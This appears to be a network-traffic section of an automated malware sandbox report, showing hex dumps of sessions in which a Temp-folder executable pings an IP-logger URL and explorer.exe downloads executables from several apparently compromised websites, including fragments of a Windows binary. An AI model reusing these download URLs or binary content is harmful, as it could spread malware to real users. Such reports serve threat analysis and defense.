2022-08-30 13:55:06 UTC	612	IN	Data Raw: 73 19 00 00 19 00 00 00 00 00 00 00 00 09 0d 05 01 1e 13 0e 03 31 24 11 04 4c 6c 27 07 65 4e 22 09 6b 46 27 0a 72 42 3a 0a 78 4b 38 0b 7f 49 3a 0c 86 bf 35 0c 8d b6 36 0d a9 3d 1d 89 9f 00 9f 00 a1 00 a1 00 a3 00 a3 00 a8 00 a8 00 a8 00 a8 00 b0 00 df 6f 77 00 00 77 14 00 00 14 14 00 00 14 14 00 00 14 14 00 00 14 1e 00 00 1e 94 00 00 94 b4 00 f7 43 b6 00 b6 00 b7 00 b7 00 b7 00 b7 00 b8 00 b8 00 b7 00 9b 2c cf 00 00 ff cf 00 00 4e 4e 00 00 0f 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 72 00 00 8d 69 00 00 69 a9 00 00 a9 72 00 00 72 69 00 00 69 18 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 0c 06 02 25 34 17 06 3d 26 13 08 5f 76 23 0a 83 b4 3b 0c 8a b0 37 0d 8e b2 31 0d a7 2a f3 7e 89 00 Data Ascii: s1$Ll'eN"kF'rB:xK8I:56=owwC,NNriirrii%4=&_v#;71*~
2022-08-30 13:55:06 UTC	613	IN	Data Raw: 11 00 00 11 13 00 00 13 15 00 00 15 17 00 00 17 19 00 00 19 1b 00 00 1b 1d 00 00 1d 20 00 00 20 22 00 00 22 24 00 00 24 26 00 00 26 53 00 00 53 a1 00 3f 9e 4d 00 61 2c 29 00 29 00 2b 00 2b 00 2c 00 2c 00 2d 00 2d 00 2e 00 2e 00 2f 00 2f 00 30 00 30 00 32 00 32 00 32 00 32 00 75 00 2c 59 b8 00 00 a6 f7 00 00 2f 39 00 00 0b 0b 00 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 00 00 8b 75 44 3a 0b 75 44 3a 0b 75 44 3a 0b 5d 77 24 0e 12 00 00 12 0a 00 00 0a 0c 00 00 0c 0e 00 00 0e 10 00 00 10 12 00 00 12 14 00 00 14 16 00 00 16 18 00 00 18 1a 00 00 1a 1c 00 00 1c 1e 00 00 1e 21 00 00 21 23 00 00 23 25 00 00 25 27 00 00 27 29 00 00 29 2b 00 00 2b 3e 00 00 3e 81 00 00 81 8e 00 0b 85 56 00 15 Data Ascii: ""$$&&SS?Ma,))++,,--..//002222u,Y/9tuD:uD:uD:]w$!!##%%''))++>>V
2022-08-30 13:55:06 UTC	617	IN	Data Raw: 7b 2f 08 56 72 2c 08 50 72 25 07 48 57 18 07 42 5e 1a 06 3c 25 1c 05 35 23 13 05 2f 3b 10 04 28 39 15 04 21 2f 0d 03 71 1b 0f 65 75 4b 21 1f 66 4d 22 09 5e 76 21 09 57 72 2d 08 51 73 25 07 4a 55 18 07 43 5f 1a 06 3b 22 1c 05 35 23 13 05 69 30 09 50 d2 00 00 f1 dc 00 00 8b 8b 00 00 3d 3d 00 00 0a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 43 00 00 ea 22 00 00 70 9c 00 00 9c a4 22 f2 74 95 c7 7e 2c 8e b2 31 0d 8e b2 31 0d 8e b2 31 0d 8a b0 37 0d 84 bc 34 0c 7d 48 3e 0b 77 45 39 0b 70 5f 25 0a 69 45 26 0a 63 49 23 09 5c 7b 2f 08 56 72 2c 08 50 72 25 07 48 57 18 07 42 5e 1a 06 3c 25 1c 05 35 23 13 05 2f 3b 10 04 28 39 15 04 21 2f 0d 03 8d 04 0f 86 a0 31 19 88 67 4b 25 09 60 49 20 09 59 7f 2e 08 52 71 2b 08 Data Ascii: {/Vr,Pr%HWB^<%5#/;(9!/qeuK!fM"^v!Wr-Qs%JUC_;"5#i0P==C"p"t~,11174}H>wE9p_%iE&cI#\{/Vr,Pr%HWB^<%5#/;(9!/1gK%`I Y.Rq+
2022-08-30 13:55:06 UTC	621	IN	Data Raw: ce ce c7 c7 1b 1c 1a 1a 0d 0d 01 01 6e 6e 64 64 5d 5d 54 54 be be b7 b7 ad ad a7 a7 94 94 92 92 88 88 fc fc f2 f2 e8 e8 dc dc da da cf cf c1 c1 3f 3e 2d 2d 22 22 1b 1b 0e 0e 69 69 63 63 44 44 95 95 88 88 86 86 fc fc d9 d9 d7 d7 3b 38 20 20 7c 7c 90 90 ef ef e5 e5 2d 2c 24 24 5d 5d 4a 4a 44 44 b8 b8 b2 b2 a3 a3 9d 9d 89 89 fb fb f4 f4 ee ee d8 d8 d3 d3 cb cb c5 c5 3f 20 20 00 34 35 01 00 01 31 37 37 3e 3e 24 24 2c 2c 13 13 18 18 00 00 09 09 75 75 7a 7a 7f 7f 65 65 69 69 6f 6f 54 54 5a 5a 42 42 4e 4e a4 a4 af af 94 94 9f 9f 84 84 8f 8f f4 f4 e1 e1 ef ef d5 d5 c5 c5 22 23 29 29 05 05 61 61 53 53 80 80 86 86 f9 f9 c0 c0 cb cb 37 34 0b 0b 70 70 7c 7c b6 b6 bf bf ab ab 83 83 f7 f7 d4 d4 de de 25 24 54 54 5c 5c 9a 9a 80 80 e8 e8 c7 c7 06 01 51 51 43 43 fd fd fb Data Ascii: nndd]]TT?>--""iiccDD;8 \|\|-,$$]]JJDD? 45177>>$$,,uuzzeeiiooTTZZBBNN"#))aaSS74pp\|\|%$TT\\QQCC
2022-08-30 13:55:06 UTC	622	IN	Data Raw: a0 89 89 e2 e2 19 1f 16 16 0c 0c bc bc e1 e1 29 28 65 65 63 63 a8 a8 9e 9e fb fb 5e 5d 53 53 3e 00 00 60 60 00 bc bc 00 00 31 01 73 73 65 65 42 42 b4 b4 a6 a6 98 98 8a 8a fc fc ee ee fe ff e9 e9 c1 c1 c6 c6 30 33 3b 3b 24 24 2f 2f 7f 7f d4 d4 69 68 34 33 22 22 12 12 06 06 08 08 70 70 7b 7b 4b 4b 9b 9b 72 73 c0 c0 2d 2e a0 a0 51 50 2d 22 77 77 50 50 57 57 4f 4f 44 44 b8 b8 bc bc 95 95 eb eb c9 c9 c0 c0 c4 c4 38 39 3d 3d 31 31 35 35 29 29 2d 2d 67 67 5d 5d 51 51 55 55 49 49 ef ef d8 d8 c5 c5 3a 39 32 32 36 36 2a 2a 0b 0b 61 61 b7 b7 ae ae a2 a2 a6 a6 9a 9a 9e 9e 92 92 96 96 8a 8a c0 c0 3a 3b 3f 3f 33 33 37 37 fa fd f0 f0 dc dc 79 78 6c 6c f4 f4 de de d1 d1 3d 70 70 00 20 20 00 00 2a 1a 77 77 41 41 9a 9a 89 89 a6 a7 99 99 2e 2d e0 e0 0f 08 7b 7b b5 b7 37 80 Data Ascii: )(eecc^]SS>``1sseeBB03;;$$//ih43""pp{{KKrs-.QP-"wwPPWWOODD89==1155))--gg]]QQUUII:92266*aa:;??3377yxll=pp wwAA.-{{7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49744	149.28.253.196	443	C:\Users\user\AppData\Local\Temp\FC9E.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-30 13:55:26 UTC	625	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36 Host: www.icodeps.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49750	148.251.234.83	443	C:\Users\user\AppData\Local\Temp\FC9E.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-30 13:55:35 UTC	625	OUT	GET /1nTYJ4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36 Host: iplogger.org Cache-Control: no-cache
2022-08-30 13:55:35 UTC	625	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 30 Aug 2022 13:55:35 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=102.129.143.57; expires=Wed, 30-Aug-2023 13:55:35 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 390277911719766841=2; expires=Wed, 30-Aug-2023 13:55:35 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 30 Aug 2022 13:55:35 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-30 13:55:35 UTC	626	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49784	141.94.30.33	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-30 13:55:59 UTC	626	OUT	GET /slov.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: mkalgerie.com
2022-08-30 13:55:59 UTC	626	IN	HTTP/1.1 200 OK Server: imunify360-webshield/1.20.1 Date: Tue, 30 Aug 2022 13:55:59 GMT Content-Length: 1491 Connection: close Cache-Control: no-store, max-age=0
2022-08-30 13:55:59 UTC	626	IN	Data Raw: 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4f 6e 65 20 6d 6f 6d 65 6e 74 2c 20 70 6c 65 61 73 65 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 36 46 37 46 38 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 30 33 31 33 31 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 Data Ascii: <!doctype html><html><head> <meta charset='utf-8'> <meta name='robots' content='noindex, nofollow'> <title>One moment, please...</title> <style> body { background: #F6F7F8; color: #303131; font-family: sans-s

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49794	206.221.182.74	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-30 13:56:16 UTC	628	OUT	GET /upload/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: amrhomedecor.com
2022-08-30 13:56:16 UTC	628	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Type: text/html Content-Length: 707 Date: Tue, 30 Aug 2022 13:56:16 GMT Server: LiteSpeed Location: https://www.amrhomedecor.com/upload/index.php Alt-Svc: quic=":443"; ma=2592000; v="43,46", h3-Q043=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-25=":443"; ma=2592000, h3-27=":443"; ma=2592000
2022-08-30 13:56:16 UTC	628	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helv

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49795	206.221.182.74	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-30 13:56:16 UTC	629	OUT	GET /upload/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: www.amrhomedecor.com
2022-08-30 13:56:20 UTC	629	IN	HTTP/1.1 200 OK Connection: close Content-Description: File Transfer Content-Type: application/octet-stream Content-Disposition: attachment; filename=d3dc6631.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Transfer-Encoding: chunked Date: Tue, 30 Aug 2022 13:56:20 GMT Server: LiteSpeed Alt-Svc: quic=":443"; ma=2592000; v="43,46", h3-Q043=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-25=":443"; ma=2592000, h3-27=":443"; ma=2592000
2022-08-30 13:56:20 UTC	630	IN	Data Raw: 31 30 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a0 f7 bd 24 e4 96 d3 77 e4 96 d3 77 e4 96 d3 77 fa c4 46 77 f3 96 d3 77 fa c4 50 77 6d 96 d3 77 c3 50 a8 77 ed 96 d3 77 e4 96 d2 77 53 96 d3 77 fa c4 57 77 d8 96 d3 77 fa c4 47 77 e5 96 d3 77 fa c4 42 77 e5 96 d3 77 52 69 63 68 e4 96 d3 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 78 72 d1 61 00 00 00 00 00 00 00 00 e0 00 03 01 Data Ascii: 10000MZ@!L!This program cannot be run in DOS mode.$$wwwFwwPwmwPwwwSwWwwGwwBwwRichwPELxra
2022-08-30 13:56:20 UTC	631	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 1a 03 00 00 00 00 00 30 1a 03 00 20 1a 03 00 10 1a 03 00 40 1a 03 00 00 00 00 00 54 13 03 00 66 13 03 00 72 13 03 00 8c 13 03 00 9c 13 03 00 b2 13 03 00 c2 13 03 00 d8 13 03 00 ec 13 Data Ascii: \0 @Tfr
2022-08-30 13:56:20 UTC	645	IN	Data Raw: 00 00 00 28 00 63 00 68 00 20 00 21 00 3d 00 20 00 5f 00 54 00 28 00 27 00 5c 00 30 00 27 00 29 00 29 00 00 00 00 00 5f 00 6f 00 75 00 74 00 70 00 75 00 74 00 5f 00 6c 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 6f 00 75 00 74 00 70 00 75 00 74 00 2e 00 63 00 00 00 05 00 00 c0 0b 00 00 00 00 00 00 00 1d 00 00 c0 04 00 00 00 00 00 00 00 96 00 00 c0 04 00 00 00 00 00 00 00 8d 00 00 c0 08 00 00 00 00 00 00 00 8e 00 00 c0 08 00 00 00 00 00 00 00 8f 00 00 c0 08 00 00 00 00 00 00 00 90 00 00 c0 08 00 00 00 00 00 00 00 91 00 00 c0 08 00 00 00 00 00 00 00 Data Ascii: (ch != _T('\0'))_output_lf:\dd\vctools\crt_bld\self_x86\crt\src\output.c
2022-08-30 13:56:20 UTC	661	IN	Data Raw: 74 68 65 20 63 6f 64 65 20 69 6e 20 74 68 69 73 20 77 61 79 20 77 69 6c 6c 20 6e 6f 74 20 61 66 66 65 63 74 20 74 68 65 20 71 75 61 6c 69 74 79 20 6f 66 20 74 68 65 20 72 65 73 75 6c 74 69 6e 67 20 6f 70 74 69 6d 69 7a 65 64 20 63 6f 64 65 2e 0a 0d 00 00 00 00 54 68 65 20 76 61 6c 75 65 20 6f 66 20 45 53 50 20 77 61 73 20 6e 6f 74 20 70 72 6f 70 65 72 6c 79 20 73 61 76 65 64 20 61 63 72 6f 73 73 20 61 20 66 75 6e 63 74 69 6f 6e 20 63 61 6c 6c 2e 20 20 54 68 69 73 20 69 73 20 75 73 75 61 6c 6c 79 20 61 20 72 65 73 75 6c 74 20 6f 66 20 63 61 6c 6c 69 6e 67 20 61 20 66 75 6e 63 74 69 6f 6e 20 64 65 63 6c 61 72 65 64 20 77 69 74 68 20 6f 6e 65 20 63 61 6c 6c 69 6e 67 20 63 6f 6e 76 65 6e 74 69 6f 6e 20 77 69 74 68 20 61 20 66 75 6e 63 74 69 6f 6e 20 70 6f 69 Data Ascii: the code in this way will not affect the quality of the resulting optimized code.The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function poi
2022-08-30 13:56:20 UTC	677	IN	Data Raw: 21 40 00 6a 00 6a 00 6a 00 6a 00 e8 df cb 00 00 83 c4 20 83 f8 01 75 01 cc c7 45 d8 00 00 00 00 6a 04 0f b6 15 74 49 44 00 52 8b 45 e4 8b 48 10 8b 55 e4 8d 44 0a 20 50 e8 32 fd ff ff 83 c4 0c 85 c0 75 7a 8b 4d e4 83 79 08 00 74 3d 8b 55 e4 8b 42 0c 50 8b 4d e4 8b 51 08 52 8b 45 e4 83 c0 20 50 8b 4d e4 8b 51 18 52 8b 45 d4 50 68 00 21 40 00 6a 00 6a 00 6a 00 6a 00 e8 70 cb 00 00 83 c4 28 83 f8 01 75 01 cc eb 2d 8b 55 e4 83 c2 20 52 8b 45 e4 8b 48 18 51 8b 55 d4 52 68 78 20 40 00 6a 00 6a 00 6a 00 6a 00 e8 41 cb 00 00 83 c4 20 83 f8 01 75 01 cc c7 45 d8 00 00 00 00 8b 4d e4 83 79 14 00 0f 85 86 00 00 00 8b 55 e4 8b 42 10 50 0f b6 0d 76 49 44 00 51 8b 55 e4 83 c2 20 52 e8 89 fc ff ff 83 c4 0c 85 c0 75 64 8b 45 e4 83 78 08 00 74 32 8b 4d e4 8b 51 0c 52 8b 45 Data Ascii: !@jjjj uEjtIDREHUD P2uzMyt=UBPMQRE PMQREPh!@jjjjp(u-U REHQURhx @jjjjA uEMyUBPvIDQU RudExt2MQRE
2022-08-30 13:56:20 UTC	693	IN	Data Raw: ff 55 8b ec 51 c7 45 fc 00 00 00 00 eb 09 8b 45 fc 83 c0 01 89 45 fc 83 7d fc 0a 73 1f 8b 4d fc 8b 14 8d c0 4a 44 00 52 e8 02 17 00 00 83 c4 04 8b 4d fc 89 04 8d c0 4a 44 00 eb d2 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 8b 45 08 a3 5c 4f 84 00 5d c3 cc 8b ff 55 8b ec 51 a1 5c 4f 84 00 89 45 fc 8b 4d fc 51 e8 a9 17 00 00 83 c4 04 89 45 fc 83 7d fc 00 74 1c 8b 55 18 52 8b 45 14 50 8b 4d 10 51 8b 55 0c 52 8b 45 08 50 ff 55 fc 83 c4 14 eb 26 6a 02 e8 ca 8f 00 00 83 c4 04 8b 4d 18 51 8b 55 14 52 8b 45 10 50 8b 4d 0c 51 8b 55 08 52 e8 0e 00 00 00 83 c4 14 8b e5 5d c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 81 ec 38 03 00 00 a1 b4 4a 44 00 33 c5 89 45 f0 c7 85 c8 fc ff ff 00 00 00 00 6a 4c 6a 00 8d 85 cc fc ff ff 50 e8 81 a1 ff ff 83 Data Ascii: UQEEE}sMJDRMJD]UE\O]UQ\OEMQE}tUREPMQUREPU&jMQUREPMQUR]U8JD3EjLjP
2022-08-30 13:56:20 UTC	694	IN	Data Raw: 31 30 30 30 30 0d 0a 8b 55 08 52 e8 17 00 00 00 83 c4 04 8b f0 e8 8d 00 00 00 89 30 5e 5d c3 cc cc cc cc cc cc cc cc 8b ff 55 8b ec 51 c7 45 fc 00 00 00 00 eb 09 8b 45 fc 83 c0 01 89 45 fc 83 7d fc 2d 73 1d 8b 4d fc 8b 55 08 3b 14 cd e8 4a 44 00 75 0c 8b 45 fc 8b 04 c5 ec 4a 44 00 eb 37 eb d4 83 7d 08 13 72 0f 83 7d 08 24 77 09 b8 0d 00 00 00 eb 22 eb 20 81 7d 08 bc 00 00 00 72 12 81 7d 08 ca 00 00 00 77 09 b8 08 00 00 00 eb 07 eb 05 b8 16 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 51 e8 15 1a 00 00 89 45 fc 83 7d fc 00 75 09 b8 50 4c 44 00 eb 08 eb 06 8b 45 fc 83 c0 08 8b e5 5d c3 cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 51 e8 e5 19 00 00 89 45 fc 83 7d fc 00 75 09 b8 54 4c 44 00 eb 08 eb 06 8b 45 fc 83 c0 0c 8b e5 5d c3 cc Data Ascii: 10000UR0^]UQEEE}-sMU;JDuEJD7}r}$w" }r}w]UQE}uPLDE]UQE}uTLDE]
2022-08-30 13:56:20 UTC	695	IN	Data Raw: ff 8b 45 d8 eb 4e eb 34 83 7d 08 fc 75 2e c7 05 60 4f 84 00 01 00 00 00 8d 4d e0 e8 0f 94 ff ff 8b 08 8b 51 04 89 55 d4 c7 45 fc ff ff ff ff 8d 4d e0 e8 c8 93 ff ff 8b 45 d4 eb 18 8b 45 08 89 45 d0 c7 45 fc ff ff ff ff 8d 4d e0 e8 ae 93 ff ff 8b 45 d0 8b 4d f4 64 89 0d 00 00 00 00 59 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 2c a1 b4 4a 44 00 33 c5 89 45 ec 56 8b 45 08 50 e8 d4 fe ff ff 83 c4 04 89 45 08 83 7d 08 00 75 13 8b 4d 0c 51 e8 9f 03 00 00 83 c4 04 33 c0 e9 fb 02 00 00 c7 45 f8 00 00 00 00 eb 09 8b 55 f8 83 c2 01 89 55 f8 83 7d f8 05 0f 83 45 01 00 00 8b 45 f8 6b c0 30 8b 88 88 50 44 00 3b 4d 08 0f 85 2b 01 00 00 c7 45 f0 00 00 00 00 eb 09 8b 55 f0 83 c2 01 89 55 f0 81 7d f0 01 01 00 00 73 0c 8b 45 0c 03 45 f0 c6 40 1c Data Ascii: EN4}u.`OMQUEMEEEEMEMdY]U,JD3EVEPE}uMQ3EUU}EEk0PD;M+EUU}sEE@
2022-08-30 13:56:20 UTC	710	IN	Data Raw: ff ff e8 02 00 00 00 eb 11 83 7d d8 00 74 0a 6a 00 e8 17 92 ff ff 83 c4 04 c3 83 7d 08 08 75 11 8b 55 e0 8b 42 64 50 6a 08 ff 55 e4 83 c4 08 eb 0a 8b 4d 08 51 ff 55 e4 83 c4 04 83 7d 08 08 74 0c 83 7d 08 0b 74 06 83 7d 08 04 75 18 8b 55 e0 8b 45 dc 89 42 60 83 7d 08 08 75 09 8b 4d e0 8b 55 cc 89 51 64 33 c0 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 ea 49 41 00 5e 4a 41 00 24 4a 41 00 41 4a 41 00 07 4a 41 00 9c 4a 41 00 00 05 01 05 02 05 01 05 05 01 05 05 05 03 05 05 05 05 05 04 02 cc cc cc cc cc cc cc 8b ff 55 8b ec 51 8b 45 0c 89 45 fc 8b 4d fc 8b 51 04 3b 55 08 74 1c 8b 45 fc 83 c0 0c 89 45 fc 8b 0d cc 55 44 00 6b c9 0c 03 4d 0c 39 4d fc 73 02 eb d9 8b 15 cc 55 44 00 6b d2 0c 03 55 0c 39 55 fc 73 12 8b 45 fc 8b 48 04 3b 4d 08 75 07 8b 45 fc Data Ascii: }tj}uUBdPjUMQU}t}t}uUEB`}uMUQd3MdY_^[]IA^JA$JAAJAJAJAUQEEMQ;UtEEUDkM9MsUDkU9UsEH;MuE
2022-08-30 13:56:20 UTC	726	IN	Data Raw: 83 f9 22 75 48 8b 45 ec 33 d2 b9 02 00 00 00 f7 f1 85 d2 75 30 83 7d f8 00 74 17 8b 55 fc 0f b7 42 02 83 f8 22 75 0b 8b 4d fc 83 c1 02 89 4d fc eb 13 c7 45 f4 00 00 00 00 33 d2 83 7d f8 00 0f 94 c2 89 55 f8 8b 45 ec d1 e8 89 45 ec 8b 4d ec 8b 55 ec 83 ea 01 89 55 ec 85 c9 74 29 83 7d 10 00 74 14 b8 5c 00 00 00 8b 4d 10 66 89 01 8b 55 10 83 c2 02 89 55 10 8b 45 18 8b 08 83 c1 01 8b 55 18 89 0a eb c7 8b 45 fc 0f b7 08 85 c9 74 1c 83 7d f8 00 75 18 8b 55 fc 0f b7 02 83 f8 20 74 0b 8b 4d fc 0f b7 11 83 fa 09 75 02 eb 3c 83 7d f4 00 74 28 83 7d 10 00 74 15 8b 45 10 8b 4d fc 66 8b 11 66 89 10 8b 45 10 83 c0 02 89 45 10 8b 4d 18 8b 11 83 c2 01 8b 45 18 89 10 8b 4d fc 83 c1 02 89 4d fc e9 e3 fe ff ff 83 7d 10 00 74 11 33 d2 8b 45 10 66 89 10 8b 4d 10 83 c1 02 89 Data Ascii: "uHE3u0}tUB"uMME3}UEEMUUt)}t\MfUUEUEt}uU tMu<}t(}tEMffEEMEMM}t3EfM
2022-08-30 13:56:20 UTC	742	IN	Data Raw: 8d d0 af ff ff 51 8b 55 10 52 e8 5e a8 00 00 83 c4 10 50 e8 75 0e ff ff 83 c4 18 68 20 62 40 00 ff 15 50 12 40 00 83 7d 0c 00 74 0b 8b 45 0c 89 85 94 7f ff ff eb 0a c7 85 94 7f ff ff 00 62 40 00 8b 8d 94 7f ff ff 51 ff 15 50 12 40 00 68 f0 61 40 00 ff 15 50 12 40 00 8d 95 d0 af ff ff 52 ff 15 50 12 40 00 68 ec 61 40 00 ff 15 50 12 40 00 e8 27 f6 ff ff c7 85 dc ef ff ff ff ff ff ff e9 41 07 00 00 83 7d 18 00 0f 84 c0 00 00 00 e8 29 40 ff ff 8b 00 89 85 c8 8f ff ff e8 1c 40 ff ff c7 00 00 00 00 00 8b 4d 1c 51 8b 55 18 52 68 eb 0f 00 00 68 00 10 00 00 8d 85 d0 8f ff ff 50 e8 78 a7 00 00 83 c4 14 89 85 cc 8f ff ff 83 bd cc 8f ff ff 00 7d 2a 6a 00 68 06 02 00 00 68 f8 56 40 00 68 c0 62 40 00 68 fc 28 40 00 6a 22 6a 16 e8 c7 3f ff ff 8b 08 51 e8 1f 08 ff ff 83 Data Ascii: QUR^Puh b@P@}tEb@QP@ha@P@RP@ha@P@'A})@@MQURhhPx}*jhhV@hb@h(@j"j?Q
